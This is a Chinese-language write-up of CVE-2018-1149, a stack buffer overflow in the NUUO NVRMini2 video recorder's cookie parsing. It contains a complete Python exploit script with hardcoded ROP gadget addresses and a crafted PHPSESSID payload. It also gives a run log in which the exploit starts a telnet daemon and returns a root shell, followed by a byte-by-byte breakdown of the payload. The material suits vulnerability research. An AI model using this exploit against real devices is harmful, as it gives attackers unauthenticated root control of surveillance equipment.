CVE-2018-1149
漏洞概要:
设备组件:网络视频录像机NVRMini2
类型:未经身份验证的远程堆栈缓冲区溢出
CVE:CVE-2018-1149
漏洞类别:代码执行
漏洞成因:
很多网络设备的 http://<target>/cgi-bin/cgi_system 是很多设备的 对外处理。
主要是通过cgi程序,调用linux里的shell脚本进行一些系统配置。
流程是这样的:
1.页面表单提交到页面 x.cgi
2.x.cgi 收到传递过来的参数后,生成调用 shell 脚本的命令 cmd
3.调用 system( cmd ) 函数,执行命令,如果成功返回0,失败返回错误码
4.根据 system( cmd ) 的执行结果,生成提示成功与失败的页面
正常通过cgi 调用,需进行远程用户身份验证, 系统验证身份验证的方法之一是将用户的PHPSESSID cookie中的会话标识符与存储在/ tmp /中的会话文件进行比较 。
#GET http cookie data
ldr r0,data_538c4 {0x8d294, "HTTP_COOKIE"}
bl getenv
sub.s r7, r0, #0
bep 0x536f0
#ret session string
bl sub_534a4
sub.s r7, r0 , #0
beq 0x536f0
#session format
mov r3, r7
ldr r1, data_538c8 {0x8d2a0, "%s%s"}
ldr r2, data_538cc {0x8d2a8, "/tmp/sess_"}
mov r0, sp {var_128}
bl sprinf
int sprintf(char *str, const char *format, ...)
参数
str -- 这是指向一个字符数组的指针,该数组存储了 C 字符串。
format -- 这是字符串,包含了要被写入到字符串 str 的文本。它可以包含嵌入的 format 标签,format 标签可被随后的附加参数中指定的值替换,并按需求进行格式化。后面跟一些 % 占位的数据
etc:
char buf1[10] = "123456789";
char buf2[10] = {0};
char buf3[19] = "--abcdefghijklmn--";
sprintf(buf2, "test:%send", buf3);
正常的 buf3 > buf2 就会造成 buf 内容覆盖到 buf1
故
ldr r1, data_538c8 {0x8d2a0, “%s%s”}
ldr r2, data_538cc {0x8d2a8, “/tmp/sess_”}
mov r0, sp {var_128}
bl sprinf
sprintf(address,”%s%s”,“/tmp/sess_”,cookiedata)
在如上参数传递进行format 可以通过 数据进行 溢出
利用分析
版本:
- 03.07.0000.0011
- 03.08.0000.0005
#### nvrmini2_enable_telnet.py : 漏洞利用进行telnet
Usage Example:
albinolobster@ubuntu:~$ telnet 172.20.10.52
Trying 172.20.10.52...
telnet: connect to address 172.20.10.52: Connection refused
telnet: Unable to connect to remote host
albinolobster@ubuntu:~$ python nvrmini2_enable_telnet.py 172.20.10.52 80
[+] Checking for a valid target...
[+] Valid target!
[+] Executing mount -t devpts devpts /dev/pts on 172.20.10.52:80...
[+] Executing /bin/sh -c "/usr/sbin/telnetd -l /bin/bash -b 0.0.0.0"& on 172.20.10.52:80...
[+] Success!
albinolobster@ubuntu:~$ telnet 172.20.10.52
Trying 172.20.10.52...
Connected to 172.20.10.52.
Escape character is '^]'.
root@test:/NUUO/bin# whoami
root
POC如下
import requests
import socket
import sys
##
# Exploit Title: NUUO NVRMini2 3.8 Enable Telnet
# Date: September 17, 2018
# Exploit Author: Jacob Baines
# Vendor Homepage: https://www.nuuo.com/
# Device: NRVMini2
# Software Link: https://www.nuuo.com/ProductNode.php?node=2
# Versions: 3.8.0 and below
# Tested Against: 03.07.0000.0011 and 03.08.0000.0005
# Tested on: Ubuntu and OSX
# CVE: CVE-2018-1149
# TRA: https://www.tenable.com/security/research/tra-2018-25
# Description:
#
# A stack buffer overflow exists in the cgi_system binary. The error occurs
# due to lack of bounds checking on the PHPSESSID value before and when
# it is passed to sprintf in order to generate the session id file name.
#
# As written, this exploit enables Telnet.
###
##
# Executes a command via the stack buffer overflow in cookie parsing. The command
# is executed via 'system' as root. The overlow logic is like so:
#
# address 1: 405e2e34 - load system into r3 and address 2 into lr
#
# .text:000D0E34 0F 48 BD E8 LDMFD SP!, {R0-R3,R11,LR}
# .text:000D0E38 1E FF 2F E1 BX LR
#
# address 2: 406037cc - load the system command into r0. Jump to system.
#
# .text:000F17CC 0D 00 A0 E1 MOV R0, SP
# .text:000F17D0 33 FF 2F E1 BLX R3
#
# [ address 1 ][ r0 ][ r1 ][ r2 ][ r3 system ][ r11 ][ LR - addr2 ][ system command ]
# \x34\x2e\x5e\x40\xaa\xaa\xaa\xaa\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xfc\xbf\x54\x40\xee\xee\xee\xee\xcc\x37\x60\x40touch /tmp/lolwat
##
def stack_buffer_overflow(command, ip, port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print '[+] Executing %s on %s:%s...' % (command, ip, port)
sock.connect((ip, int(port)))
exec_request = ('GET /cgi-bin/cgi_system?cmd=portCheck HTTP/1.1\r\n' +
'Host: ' + ip + ':' + port + '\r\n' +
'Accept: */*\r\n' +
'Cookie: PHPSESSID=982e6c010064b3878a4b793bfab8d2d2' +
'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAABBBBCCCCDD' +
'\x34\x2e\x5e\x40\xaa\xaa\xaa\xaa\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xfc\xbf\x54\x40\xee\xee\xee\xee\xcc\x37\x60\x40' + command +
'\r\n\r\n')
sock.sendall(exec_request)
data = sock.recv(1024)
sock.close()
# We should get a 500 Internal error in response
return data.find('500') != -1
##
# Quickly tries to grab the version of the target. If the target is
# using anything other than 3.7 or 3.8 then we'll bail out since
# haven't tested on any other targets
##
def check_target(ip, port):
index = requests.get('http://' + ip + ':' + port + "/upgrade_handle.php?cmd=getcurrentinfo")
return (index.text.find('<Titan>03.08') != -1 or index.text.find('<Titan>03.07') != -1)
if __name__ == "__main__":
if (len(sys.argv) != 3):
print "Usage: python nvrmini2_enable_telnet.py <ipv4 address> <port>"
sys.exit(1)
ip = sys.argv[1]
port = sys.argv[2]
if int(port) > 65535:
print('[-] Invalid port parameter')
sys.exit(0)
if len(ip.split('.')) != 4:
print('[-] Invalid IP address parameter')
sys.exit(0)
print '[+] Checking for a valid target...'
if (check_target(ip, port) == False):
print('[-] The target is not a NVRMini2 or its using an untested version.')
sys.exit(0)
print '[+] Valid target!'
if (stack_buffer_overflow('mount -t devpts devpts /dev/pts', ip, port) == False):
print('[-] Mount failed')
sys.exit(0)
if (stack_buffer_overflow('/bin/sh -c "/usr/sbin/telnetd -l /bin/bash -b 0.0.0.0"&', ip, port) == False):
print('[-] telnetd bind failed')
sys.exit(0)
print('[+] Success!')
在构造请求时,如何进行针对sprintf 进行 构造十分重要。
在cookie解析中通过堆栈溢出进行命令执行,命令执行以system root 进行,
address 1: 405e2e34 - load system into r3 and address 2 into lr #通过
.text:000D0E34 0F 48 BD E8 LDMFD SP!, {R0-R3,R11,LR}
.text:000D0E38 1E FF 2F E1 BX LR
address 2: 406037cc - load the system command into r0. Jump to system.
.text:000F17CC 0D 00 A0 E1 MOV R0, SP
.text:000F17D0 33 FF 2F E1 BLX R3
[ address 1 ][ r0 ][ r1 ][ r2 ][ r3 system ][ r11 ][ LR - addr2 ][ system command ]
\x34\x2e\x5e\x40\xaa\xaa\xaa\xaa\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xfc\xbf\x54\x40\xee\xee\xee\xee\xcc\x37\x60\x40touch /tmp/lolwat
对构造的payload 进行分析
'Cookie: PHPSESSID=982e6c010064b3878a4b793bfab8d2d2' + 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAABBBBCCCCDD' +
'\x34\x2e\x5e\x40\xaa\xaa\xaa\xaa\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xfc\xbf\x54\x40\xee\xee\xee\xee\xcc\x37\x60\x40' + command +
'\r\n\r\n')
通过
982e6c010064b3878a4b793bfab8d2d2aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAABBBBCCCCDD
共170 字节消耗内存
直接覆盖
[address 1]:\x34\x2e\x5e\x40
[r0]:\xaa\xaa\xaa\xaa
[r1]:\xbb\xbb\xbb\xbb
[r2]:\xcc\xcc\xcc\xcc
[r3 system]:\xfc\xbf\x54\x40 #system地址
[r11]:\xee\xee\xee\xee
[lr]:\xcc\x37\x60\x40
触发 address 1 进行入数据栈如上
.text:000D0E34 0F 48 BD E8 LDMFD SP!, {R0-R3,R11,LR}
.text:000D0E38 1E FF 2F E1 BX LR
跳转到:LR内存地址
.text:000F17CC 0D 00 A0 E1 MOV R0, SP
.text:000F17D0 33 FF 2F E1 BLX R3
跳转到R3 地址
执行 command
command命令主要为:
mount -t devpts devpts /dev/pts #挂载 -t 指定要挂载的设备上的文件系统类型 devpts: 虚拟文件系统 /dev/pts:伪终端
/bin/sh -c "/usr/sbin/telnetd -l /bin/bash -b 0.0.0.0"& 开启telnet
telnet 程序通过 伪终端 对外进行通信
CUT.py 脚本 就是 基于此进行 的 设备操作 可以获得一些对应数据
同时也写成了pocsuite的验证模式见地址